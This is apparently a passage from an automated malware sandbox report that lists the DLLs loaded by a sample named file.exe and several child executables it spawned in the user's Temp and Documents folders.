Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ncryptsslp.dll
